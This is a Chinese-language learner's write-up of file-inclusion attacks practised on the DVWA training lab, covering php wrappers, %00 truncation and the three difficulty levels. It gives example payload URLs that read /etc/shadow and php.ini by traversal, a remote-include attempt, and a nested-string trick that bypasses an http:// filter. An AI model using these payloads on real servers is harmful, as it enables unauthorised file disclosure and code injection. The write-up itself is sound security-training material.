0x00 产生的原因
通过引入文件时,用户可控,没有严格的检验,或是被绕过,操作一些敏感文件,导致文件泄露和恶意代码注入
当包含文件在服务器本地上,就形成本地文件包含,当包含的文件在第三方服务器是,就形成可远程文件包含。
0x01 关于文件上传资料查询
1、php伪协议
读取文件
可将一些恶意代码写入某些文件,最后系统崩溃;
2、%00截断
php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别
0x02 dvwa上实战
1、low
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
<?php $file = $_GET['page']; //The page we wish to display ?>
1)输入http://10.21.13.208/dvwa/vulnerabilities/fi/?page=/etc/shadow,判断服务器类型:windows or linux
可以看到是pemission denied,即没有权限包含该文件,说明该文件存在,所以服务器为linux系统,同时还可看到该网页所在目录:/var/www/dvwa/vulnerabilities/fi/index.php
2)查看php.ini文件
php.ini在dvwa上是在dvwa目录下的,即/var/www/dvwa,所以输入http://10.21.13.208/dvwa/vulnerabilities/fi/?page=../../php.ini,可查看php.ini文件
百度说这个是读取成功的状态,可以看到一些参数,当allow_url_fopen和allow_url_include为on时可进行远程文件包含,magic_quotes_gpc = Off,php版本小于5.3.4的服务器中,可采用%00截断
3)尝试远程文件包含
打开metosploit虚拟机,在/var/www目录下添加1.php文件,内容如下:
<?php phpinfo(); ?>
所以该文件的url为:http://192.168.146.131/dvwa/1.php
输入http://10.21.13.208/dvwa/vulnerabilities/fi/?page=http://192.168.146.131/dvwa/1.php,得到:
禁止url链接传入文件,百度错误知php服务器未启用allow_url_fopen和allow_url_include,之前读的只是dvwa下的php.ini,由于不是自己的服务器,没有进行修改(本来想用自己的试试,但是由于这个metosploit太简陋了,找个命令找半天,而且实际情况下,谁会给自己的服务器开这个啊)
2、medium
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
<?php $file = $_GET['page']; // The page we wish to display // Bad input validation $file = str_replace("http://", "", $file); $file = str_replace("https://", "", $file); ?>
我有那么一点点的疑惑,明明low级别远程就不行了,为什么medium级别还要对http[s]://过滤......
过滤的话其实还好,采用重写:htthttpp://,这样就可以了
3、high
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
<?php $file = $_GET['page']; //The page we wish to display // Only allow include.php if ( $file != "include.php" ) { echo "ERROR: File not found!"; exit; } ?>
简单粗暴,不是include.php就是"File not found
"
0x03 总结
继续练习,freebuf那篇入门篇,昨天看的时候看的挺久的感觉很长,今天试了一下,感觉也就几个尝试的事情,所以还是要多试
参考文献
https://segmentfault.com/a/1190000018991087?utm_source=tag-newest#item-6